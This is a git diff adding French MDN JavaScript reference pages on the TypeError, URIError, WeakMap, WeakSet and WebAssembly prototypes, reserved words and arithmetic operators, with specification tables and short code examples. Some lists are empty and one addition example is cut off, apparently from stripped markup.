{{jsxref("Error.prototype.lineNumber", "TypeError.prototype.lineNumber")}}
+
La ligne du fichier qui a causé l'erreur. Hérité depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.columnNumber", "TypeError.prototype.columnNumber")}}
+
La colonne (la position dans la ligne) du fichier qui a causé l'erreur. Hérité depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.stack", "TypeError.prototype.stack")}}
+
La pile d'appels (stack trace). Héritée depuis {{jsxref("Error")}}.
+
+ +

Méthodes

+ +

Bien que l'objet prototype pour {{jsxref("TypeError")}} ne contienne aucune méthode propre (qui lui soit directement rattachée), {{jsxref("TypeError")}} hérite de certaines méthodes grâce à la chaîne de prototypes.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES3', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}Définie comme NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Définie comme NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Définie comme NativeError.prototype.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.TypeError")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error.prototype")}}
    • +
  • {{jsxref("Function.prototype")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/urierror/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/urierror/index.html new file mode 100644 index 0000000000..4c45a4af6b --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/urierror/index.html @@ -0,0 +1,90 @@ +--- +title: URIError.prototype +slug: Web/JavaScript/Reference/Objets_globaux/URIError/prototype +tags: + - Error + - JavaScript + - Propriété + - Prototype + - Reference + - URIError +translation_of: Web/JavaScript/Reference/Global_Objects/URIError +translation_of_original: Web/JavaScript/Reference/Global_Objects/URIError/prototype +--- +
{{JSRef}}
+ +

La propriété URIError.prototype représente le prototype du constructeur {{jsxref("URIError")}}.

+ +

Description

+ +

Toutes les instances de {{jsxref("URIError")}} héritent de URIError.prototype. Ce prototype peut être utilisé pour ajouter des propriétés et/ou des méthodes à l'ensemble des instances.

+ +

Propriétés

+ +
+
URIError.prototype.constructor
+
Cette propriété définit la fonction qui a créé le prototype de l'instance.
+
{{jsxref("Error.prototype.message", "URIError.prototype.message")}}
+
Un message décrivant l'erreur. Bien qu'ECMA-262 spécifie qu'{{jsxref("URIError")}} devrait avoir une propriété message en propre, SpiderMonkey lui fait hériter de {{jsxref("Error.prototype.message")}}.
+
{{jsxref("Error.prototype.name", "URIError.prototype.name")}}
+
Un nom d'erreur. Héritée depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.fileName", "URIError.prototype.fileName")}}
+
Le chemin vers le fichier qui a causé l'erreur. Héritée depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.lineNumber", "URIError.prototype.lineNumber")}}
+
Le numéro de la ligne dans le fichier qui a causé l'erreur. Héritée depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.columnNumber", "URIError.prototype.columnNumber")}}
+
Le numéro de colonne (la position dans la ligne) dans le fichier qui a causé l'erreur. Héritée depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.stack", "URIError.prototype.stack")}}
+
La pile d'appels ayant mené à l'erreur (stack trace). Héritée de {{jsxref("Error")}}.
+
+ +

Méthodes

+ +

Bien que l'objet prototype pour {{jsxref("URIError")}} ne contienne pas de méthode qui lui soit directement rattachée, les instances d'{{jsxref("URIError")}} héritent de certaines méthodes grâce à la chaîne de prototypes.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES3', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}Définie comme NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Définie comme NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Définie comme NativeError.prototype.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.URIError")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error.prototype")}}
    • +
  • {{jsxref("Function.prototype")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/weakmap/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/weakmap/index.html new file mode 100644 index 0000000000..7ca2bf02d1 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/weakmap/index.html @@ -0,0 +1,82 @@ +--- +title: WeakMap.prototype +slug: Web/JavaScript/Reference/Objets_globaux/WeakMap/prototype +tags: + - ECMAScript 2015 + - JavaScript + - Propriété + - Reference + - WeakMap +translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap +translation_of_original: Web/JavaScript/Reference/Global_Objects/WeakMap/prototype +--- +
{{JSRef}}
+ +

La propriété WeakMap.prototype représente le prototype du constructeur {{jsxref("WeakMap")}}.

+ +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

Les instances de {{jsxref("WeakMap")}} héritent de {{jsxref("WeakMap.prototype")}}. L'objet prototype du constructeur peut donc être utilisé pour ajouter des propriétés et/ou des méthodes pour toutes les instances de WeakMap.

+ +

WeakMap.prototype est un objet ordinaire :

+ +
Object.prototype.toString.call(WeakMap.prototype); // "[object Object]"
+
+ +

Propriétés

+ +
+
WeakMap.prototype.constructor
+
Renvoie la fonction qui a créé le prototype de l'instance. Par défaut, ce sera la fonction {{jsxref("WeakMap")}}.
+
+ +

Méthodes

+ +
+
{{jsxref("WeakMap.delete", "WeakMap.prototype.delete(clé)")}}
+
Retire la valeur associée à la clé clé. WeakMap.prototype.has(clé) renverra false une fois la valeur supprimée.
+
{{jsxref("WeakMap.get", "WeakMap.prototype.get(clé)")}}
+
Renvoie la valeur associée à la clé, ou undefined s'il n'y en a pas.
+
{{jsxref("WeakMap.has", "WeakMap.prototype.has(clé)")}}
+
Renvoie un booléen qui indique s'il existe ou non une valeur associée à une clé donnée pour l'objet WeakMap.
+
{{jsxref("WeakMap.set", "WeakMap.prototype.set(clé, valeur)")}}
+
Définit la valeur associée à la clé dans l'objet WeakMap. La méthode renvoie l'objet WeakMap.
+
{{jsxref("WeakMap.prototype.clear()")}} {{obsolete_inline}}
+
Retire toutes les paires de clés/valeurs contenues dans l'objet WeakMap. Il est possible de construire un objet semblable à WeakMap qui possède une méthode clear() en encapsulant (cf. l'exemple sur la page {{jsxref("WeakMap")}}).
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-weakmap.prototype', 'WeakMap.prototype')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-weakmap.prototype', 'WeakMap.prototype')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.WeakMap.prototype")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Map.prototype")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/weakset/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/weakset/index.html new file mode 100644 index 0000000000..092f97b6c3 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/weakset/index.html @@ -0,0 +1,80 @@ +--- +title: WeakSet.prototype +slug: Web/JavaScript/Reference/Objets_globaux/WeakSet/prototype +tags: + - ECMAScript 2015 + - JavaScript + - Propriété + - Reference + - WeakSet +translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet +translation_of_original: Web/JavaScript/Reference/Global_Objects/WeakSet/prototype +--- +
{{JSRef}}
+ +

La propriété WeakSet.prototype représente le prototype du constructeur {{jsxref("WeakSet")}}.

+ +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

Toutes les instances de {{jsxref("WeakSet")}} héritent de {{jsxref("WeakSet.prototype")}}. Le prototype du constructeur peut être utilisé pour ajouter des méthodes et/ou des propriétés à toutes les instances de WeakSet.

+ +

WeakSet.prototype est un objet ordinaire :

+ +
Object.prototype.toString.call(WeakSet.prototype); // "[object Object]"
+ +

Propriétés

+ +
+
WeakSet.prototype.constructor
+
Cette propriété renvoie la fonction qui a créé le prototype de l'instance. Par défaut, ce sera la fonction native {{jsxref("WeakSet")}}.
+
+ +

Méthodes

+ +
+
{{jsxref("WeakSet.add", "WeakSet.prototype.add(valeur)")}}
+
Cette méthode permet d'ajouter une nouvel objet avec une valeur donnée à l'objet WeakSet.
+
{{jsxref("WeakSet.delete", "WeakSet.prototype.delete(valeur)")}}
+
Cette méthode retire l'élément associé à valeur. WeakSet.prototype.has(valeur) renverra false une fois l'opération effectuée.
+
{{jsxref("WeakSet.has", "WeakSet.prototype.has(valeur)")}}
+
Cette méthode renvoie un booléen indiquant si oui ou non un élément est présent avec cette valeur au sein de l'objet WeakSet.
+
{{jsxref("WeakSet.prototype.clear()")}}{{obsolete_inline}}
+
Cette méthode retire tous les éléments de l'ensemble WeakSet.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-weakset.prototype', 'WeakSet.prototype')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-weakset.prototype', 'WeakSet.prototype')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.WeakSet.prototype")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Set.prototype")}}
    • +
  • {{jsxref("WeakMap.prototype")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/webassembly/global/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/webassembly/global/index.html new file mode 100644 index 0000000000..fabce82ac1 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/webassembly/global/index.html @@ -0,0 +1,69 @@ +--- +title: WebAssembly.Global.prototype +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Global/prototype +tags: + - JavaScript + - Propriété + - Prototype + - WebAssembly +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Global +translation_of_original: Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/prototype +--- +
{{JSRef}}
+ +

La propriété WebAssembly.Global.prototype représente le prototype du constructeur {{jsxref("WebAssembly.Global()")}}.

+ +
{{js_property_attributes(0, 0, 0)}}
+ +

Description

+ +

Toutes les instances de {{jsxref("WebAssembly.Global")}} héritent de Global.prototype. L'objet prototype du constructeur {{jsxref("WebAssembly.Global()")}} peut être modifié afin d'avoir un impact sur l'ensemble des instances {{jsxref( "WebAssembly.Global")}}.

+ +

Propriétés

+ +
+
Global.prototype.constructor
+
Cette propriété renvoie la fonction qui a créé l'instance de l'objet. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Global()")}}.
+
Global.prototype[@@toStringTag]
+
La valeur initiale de la propriété @@toStringTag est la chaîne de caractères "WebAssembly.Global".
+
Global.prototype.value
+
La valeur contenue à l'intérieur de la variable globale. Cette propriété peut être utilisée afin de modifier et d'accéder à la valeur globale.
+
+ +

Méthodes

+ +
+
Global.prototype.valueOf()
+
Une méthode qui renvoie la valeur contenue dans la variable globale.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#globals', 'WebAssembly.Global()')}}{{Spec2('WebAssembly JS')}}Brouillon pour la définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.WebAssembly.Global.prototype")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("WebAssembly.Global()")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/webassembly/instance/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/webassembly/instance/index.html new file mode 100644 index 0000000000..504c57504a --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/webassembly/instance/index.html @@ -0,0 +1,71 @@ +--- +title: WebAssembly.Instance.prototype +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Instance/prototype +tags: + - JavaScript + - Propriété + - Prototype + - Reference + - WebAssembly + - instance +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance +translation_of_original: Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/prototype +--- +
{{JSRef}} {{SeeCompatTable}}
+ +

La propriété WebAssembly.Instance.prototype représente le prototype du constructeur {{jsxref("WebAssembly.Instance()")}}.

+ +
{{js_property_attributes(0, 0, 0)}}
+ +

Description

+ +

Toutes les instances de {{jsxref("WebAssembly.Instance")}} héritent de Instance.prototype. L'objet qui est le prototype du constructeur {{jsxref("WebAssembly.Instance()")}} permet de modifier l'ensemble des instances {{jsxref( "WebAssembly.Instance")}} à travers la chaîne des prototypes.

+ +

Propriétés

+ +
+
Instance.prototype.constructor
+
Renvoie la fonction qui a créé l'instance de l'objet. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Instance()")}}.
+
Instance.prototype.exports {{readonlyinline}}
+
Renvoie un objet dont les propriétés sont l'ensemble des fonctions exportées depuis l'instance du module WebAssembly. Cela permet d'y accéder et de les manipuler depuis du code JavaScript.
+
+ +

Méthodes

+ +

Aucune.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblymodule-objects', 'WebAssembly.Module()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.Instance.prototype")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/webassembly/memory/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/webassembly/memory/index.html new file mode 100644 index 0000000000..32b16d8969 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/webassembly/memory/index.html @@ -0,0 +1,72 @@ +--- +title: WebAssembly.Memory.prototype +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Memory/prototype +tags: + - JavaScript + - Propriété + - Prototype + - Reference + - WebAssembly + - memory +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory +translation_of_original: Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/prototype +--- +
{{JSRef}} {{SeeCompatTable}}
+ +

La propriété WebAssembly.Memory.prototype représente le prototype du constructeur {{jsxref("WebAssembly.Memory()")}}.

+ +
{{js_property_attributes(0, 0, 0)}}
+ +

Description

+ +

Toutes les instances de {{jsxref("WebAssembly.Memory")}} héritent de Memory.prototype. Le prototype du constructeur {{jsxref("WebAssembly.Memory()")}} peut être modifié afin de modifier le comportement de l'ensemble des instances de {{jsxref( "WebAssembly.Memory")}}.

+ +

Propriétés

+ +
+
Memory.prototype.constructor
+
Renvoie la fonction qui a créé l'instance de l'objet. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Memory()")}}.
+
{{jsxref("WebAssembly/Memory/buffer","Memory.prototype.buffer")}}
+
Une propriété d'accesseur qui renvoie le tampon contenu dans l'espace mémoire.
+
+

Méthodes

+
+
{{jsxref("WebAssembly/Memory/grow","Memory.prototype.grow()")}}
+
Cette méthode permet d'accroître la taille de l'espace mémoire en ajoutant un nombre de pages WebAssembly (dont chacune mesure 64 Ko).
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblymemory-objects', 'Memory')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.Memory.prototype")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/webassembly/module/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/webassembly/module/index.html new file mode 100644 index 0000000000..3ac694ae07 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/webassembly/module/index.html @@ -0,0 +1,69 @@ +--- +title: WebAssembly.Module.prototype +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Module/prototype +tags: + - Experimental + - JavaScript + - Module + - Propriété + - Prototype + - Reference + - WebAssembly +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module +translation_of_original: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module/prototype +--- +
{{JSRef}}
+ +

La propriété WebAssembly.Module.prototype représente le prototype du constructeur {{jsxref("WebAssembly.Module()")}}.

+ +
{{js_property_attributes(0, 0, 0)}}
+ +

Description

+ +

Toutes les instances de {{jsxref("WebAssembly.Module")}} héritent de Module.prototype. Le prototype du constructeur {{jsxref("WebAssembly.Module()")}} peut être modifié afin de modifier le comportement de toutes les instances de {{jsxref( "WebAssembly.Module")}}.

+ +

Propriétés

+ +
+
Module.prototype.constructor
+
Renvoie la fonction qui a créé l'instance de l'objet. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Module()")}}.
+
Module.prototype[@@toStringTag]
+
La valeur initiale de la propriété @@toStringTag est la chaîne de caractères "WebAssembly.Module".
+
+ +

Méthodes

+ +

Aucune.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblymodule-objects', 'WebAssembly.Module()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.Module.prototype")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("WebAssembly.Module()")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/webassembly/table/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/webassembly/table/index.html new file mode 100644 index 0000000000..b9f2be5e36 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/webassembly/table/index.html @@ -0,0 +1,76 @@ +--- +title: WebAssembly.Table.prototype +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Table/prototype +tags: + - Experimental + - JavaScript + - Propriété + - Prototype + - Reference + - WebAssembly +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table +translation_of_original: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/prototype +--- +
{{JSRef}} {{SeeCompatTable}}
+ +

La propriété WebAssembly.Table.prototype représente le prototype du constructeur {{jsxref("WebAssembly.Table()")}}.

+ +
{{js_property_attributes(0, 0, 0)}}
+ +

Description

+ +

Toutes les instances de {{jsxref("WebAssembly.Table")}} héritent de Table.prototype. Le prototype du constructeur {{jsxref("WebAssembly.Table()")}} peut être modifié afin de modifier le comportement de toutes les instances {{jsxref( "WebAssembly.Table")}}.

+ +

Propriétés

+ +
+
Table.prototype.constructor
+
Renvoie la fonction qui a créé l'instance de l'objet. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Table()")}}.
+
{{jsxref("WebAssembly/Table/length","Table.prototype.length")}}
+
Renvoie la taille du tableau, c'est-à-dire le nombre de références enregistrées dans le tableau.
+
+

Méthodes

+
+
{{jsxref("WebAssembly/Table/get","Table.prototype.get()")}}
+
Une fonction accesseur qui permet d'obtenir une référence à partir d'une position dans le tableau.
+
{{jsxref("WebAssembly/Table/grow","Table.prototype.grow()")}}
+
Cette méthode permet d'augmenter la taille de l'instance de Table d'un nombre donné de référence.
+
{{jsxref("WebAssembly/Table/set","Table.prototype.set()")}}
+
Cette méthode permet de changer une référence située à une position donnée dans le tableau.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblytable-objects', 'Table')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.Table.prototype")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/javascript/reference/lexical_grammar/index.html b/files/fr/conflicting/web/javascript/reference/lexical_grammar/index.html new file mode 100644 index 0000000000..dae1cd3126 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/lexical_grammar/index.html @@ -0,0 +1,94 @@ +--- +title: Mots réservés +slug: Web/JavaScript/Reference/Mots_réservés +translation_of: Web/JavaScript/Reference/Lexical_grammar#Keywords +translation_of_original: Web/JavaScript/Reference/Reserved_Words +--- +

Introduction

+ +

Cet annexe présente les mots réservés. Les mots réservés ne doivent pas être utilisés en tant que noms de variables, de fonctions, de méthodes ou d'identifiants d'objets parce-que ECMAScript spécifie une utilité spéciale pour eux.

+ +

Mots actuellement réservés

+ +

Voici la liste des mots réservés actuellement utilisés en JavaScript :

+ + + +

Mots réservés dans le futur

+ +

Les mots suivants sont de futurs mots-clés réservés par la spécification ECMAScript. Bien qu'ils ne soient actuellement pas utilisés, ils ne peuvent pas servir d'identifiants d'objets car ils seront bientôt fonctionnels. (Notez que pour le moment, Mozilla réserve ces mots-clés seulement dans le code en mode strict. La plupart des autres navigateurs réservent ces mots-clés pour tout le code, qu'il soit strict ou non. Leur utilisation est souvent incompatbile entre les différents navigateurs. Mozilla réservera ces mots-clés à un code normal à l'avenir, pour correspondre aux spécifications des autres navigateurs).

+ +

{{ gecko_minversion_header("2.1") }}

+ +
Note: En commençant avec Javascript 1.9 (Firefox 5), ces derniers seront réservés même lorsque vous n'êtes pas en mode strict.
+Note: La version de JavaScript ci-dessus n'est pas officielle.
+ + + +

Les mots suivants sont de futurs mots-clés réservés par la spécification ECMAScript lorsqu'ils se situent dans de code en mode strict, excepté lorsque let et yield ont leurs fonctions traditionnelles dans le code compilé comme JavaScript 1.7 ou plus:

+ +
    +
  • implements
    • +
  • interface
    • +
  • let
    • +
  • package
    • +
  • private
    • +
  • protected
    • +
  • public
    • +
  • static
    • +
  • yield
    • +
+ +

Note that while const is reserved as a future keyword by the ECMAScript specification, Mozilla and most other browsers implement it as a non-standard extension that may be standardized in a future version of ECMAScript.  Further, export and import were once implemented in Mozilla but have returned to reserved status in recent releases.

+ +

Additionally, the literals null, true, and false are reserved in ECMAScript for their normal uses.

+ +

Reserved Word Usage

+ +

Reserved Words actually only apply to Identifiers (vs. IdentifierNames) . As described in es5.github.com/#A.1, these are all IdentifierNames which do not exclude ReservedWords.

+ +

a.import
+ a["import"]
+ a = { import: "test" }.

+ +

On the other hand the following is illegal because it's an Identifier, which is an IdentifierName without the Reserved Words. Identifiers are used for FunctionDeclaration and FunctionExpression.

+ +

function import() {}

+ +

 

+ +

{{ languages( { "es": "es/Referencia_de_JavaScript_1.5/Palabras_Reservadas", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Mots_r\u00e9serv\u00e9s", "ja": "ja/Core_JavaScript_1.5_Reference/Reserved_Words", "pl": "pl/Dokumentacja_j\u0119zyka_JavaScript_1.5/S\u0142owa_zarezerwowane" } ) }}

diff --git a/files/fr/conflicting/web/javascript/reference/operators/index.html b/files/fr/conflicting/web/javascript/reference/operators/index.html new file mode 100644 index 0000000000..d11d106a96 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/operators/index.html @@ -0,0 +1,296 @@ +--- +title: Opérateurs arithmétiques +slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques +tags: + - JavaScript + - Operator + - Reference +translation_of: Web/JavaScript/Reference/Operators +translation_of_original: Web/JavaScript/Reference/Operators/Arithmetic_Operators +--- +
{{jsSidebar("Operators")}}
+ +

Les opérateurs arithmétiques utilisent des valeurs numériques (variables ou littéraux) comme opérandes et renvoient une valeur numérique. Les opérateurs arithmétiques standard sont l'addition (+), la soustraction (-), la multiplication (*), et la division (/).

+ +
{{EmbedInteractiveExample("pages/js/expressions-arithmetic.html")}}
+ + + +

Addition (+)

+ +

L'opérateur d'addition permet d'obtenir la somme des opérandes numériques ou bien la concaténation de chaînes de caractères.

+ +

Syntaxe

+ +
Opérateur : x + y
+ +

Exemples

+ +
// nombre + nombre -> addition
+1 + 2 // 3
+
+// booléen + nombre -> addition
+true + 1 // 2
+
+// booléen + booléen -> addition
+false + false // 0
+
+// nombre + chaîne de caractères -> concaténation
+5 + "
+
+ concaténation
+"toto" + false // "totofalse"
+
+// chaîne de caractères + chaîne de caractères -> concaténation
+"toto" + "truc" // "tototruc"
+
+ +

Soustraction (-)

+ +

L'opérateur de soustraction soustrait les deux opérandes pour obtenir leur différence.

+ +

Syntaxe

+ +
Opérateur : x - y
+ +

Exemples

+ +
5 - 3 // 2
+3 - 5 // -2
+"toto" - 3 // NaN
+
+ +

Division (/)

+ +

L'opérateur de division produit le quotient de ces opérandes avec l'opérande gauche comme numérateur et l'opérande droit comme dénominateur.

+ +

Syntaxe

+ +
Opérateur : x / y
+ +

Exemples

+ +
1 / 2      // renvoie 0.5 en JavaScript
+1 / 2      // renvoie 0 en Java
+// (aucun des deux opérandes n'est un nombre flottant de façon explicite)
+
+1.0 / 2.0  // renvoie 0.5 en JavaScript et Java
+
+2.0 / 0    // renvoie Infinity (pour l'infini) en JavaScript
+2.0 / 0.0  // renvoie Infinity également
+2.0 / -0.0 // renvoie -Infinity en JavaScript
+ +

Multiplication (*)

+ +

L'opérateur de multiplication permet d'obtenir le produit des opérandes.

+ +

Syntaxe

+ +
Opérateur : x * y
+ +

Exemples

+ +
2 * 2 // 4
+-2 * 2 // -4
+Infinity * 0 // NaN
+Infinity * Infinity // Infinity
+"toto" * 2 // NaN
+
+ +

Reste (%)

+ +

L'opérateur « reste » renvoie le reste de la division du premier opérande par le second. Le résultat obtenu a toujours le signe du numérateur (la quantité divisée).

+ +

Syntaxe

+ +
Opérateur : var1 % var2
+ +

Exemples

+ +
12 % 5  // 2
+-1 % 2  // -1
+1 % -2  // 1
+NaN % 2 // NaN
+1 % 2   // 1
+2 % 3   // 2
+-4 % 2  // -0
+5.5 % 2 // 1.5
+ +

Exponentiation (**)

+ +

L'opérateur d'exponentiation (aussi appelé opérateur de puissance) renvoie le résultat de l'élévation d'un nombre (premier opérande) à une puissance donnée (deuxième opérande). Par exemple : var1 ** var2 sera équivalent à var1var2 en notation mathématique. Cet opérateur est associatif à droite, autrement dit a ** b ** c est égal à a ** (b ** c).

+ +

Syntaxe

+ +
Opérateur : var1 ** var2
+ +

Notes

+ +

Dans la plupart des langages (par exemple PHP, Python, etc.), l'opérateur d'exponentiation est défini avec une précédence supérieure à celle des opérateurs unaires tels que le plus unaire et le moins unaire. Des exceptions existent comme Bash où l'opérateur ** a une précédence inférieure à celle des opérateurs unaires. En JavaScript, il est impossible d'écrire une expression ambigüe avec l'exponentiation : il est impossible de placer un opérateur unaire juste avant le nombre.

+ +
-2 ** 2;
+// vaut 4 en Bash ou -4 avec d'autres langages
+// C'est invalide en JavaScript car il y
+// une ambiguïté liée à l'expression
+
+- (2 ** 2);
+// -4 en JavaScript car les parenthèses lèvent
+// l'ambiguïté
+
+ +

Exemples

+ +
2 ** 3 // 8
+3 ** 2 // 9
+3 ** 2.5 // 15.588457268119896
+10 ** -1 // 0.1
+NaN ** 2 // NaN
+
+2 ** 3 ** 2 // 512
+2 ** (3 ** 2) // 512
+(2 ** 3) ** 2 // 64
+ +
+

Note : JavaScript possède également un opérateur binaire ^ (XOR logique). ** et ^ sont deux opérateurs bien différents. Par exemple 2 ** 3 === 8 et 2 ^ 3 === 1.

+
+ +

Incrément (++)

+ +

L'opérateur d'incrément ajoute une unité à son opérande et renvoie une valeur.

+ +
    +
  • Si l'opérateur est utilisé en suffixe (par exemple : x++), il renvoie la valeur avant l'incrémentation.
    • +
  • Si l'opérateur est utilisé en préfixe (par exemple : ++x), il renvoie la valeur après l'incrémentation.
    • +
+ +

Syntaxe

+ +
Opérateur : x++ ou ++x
+ +

Exemples

+ +
// Suffixe
+var x = 3;
+y = x++; // y = 3, x = 4
+
+// Préfixe
+var a = 2;
+b = ++a; // a = 3, b = 3
+
+ +

Décrément (--)

+ +

L'opérateur de décrément soustrait une unité à son opérande et renvoie une valeur.

+ +
    +
  • Si l'opérateur est utilisé en suffixe (par exemple : x--), il renvoie la valeur avant la décrémentation.
    • +
  • Si l'opérateur est utilisé en préfixe (par exemple : --x), il renvoie la valeur après la décrémentation.
    • +
+ +

Syntaxe

+ +
Opérateur : x-- ou --x
+ +

Exemples

+ +
// Suffixe
+var x = 3;
+y = x--; // y = 3, x = 2
+
+// Préfixe
+var a = 2;
+b = --a; // a = 1, b = 1
+
+ +

Négation unaire (-)

+ +

L'opérateur de négation unaire précède son opérande et prend l'opposé de celui-ci (après l'avoir converti en nombre si besoin).

+ +

Syntaxe

+ +
Opérateur : -x
+ +

Exemples

+ +
var x = 3;
+y = -x; // y = -3, x = 3
+
+// La négation unaire permet de convertir
+// un opérande en nombre
+var y = "4";
+var z = -y; // z = -4
+
+ +

Plus unaire (+)

+ +

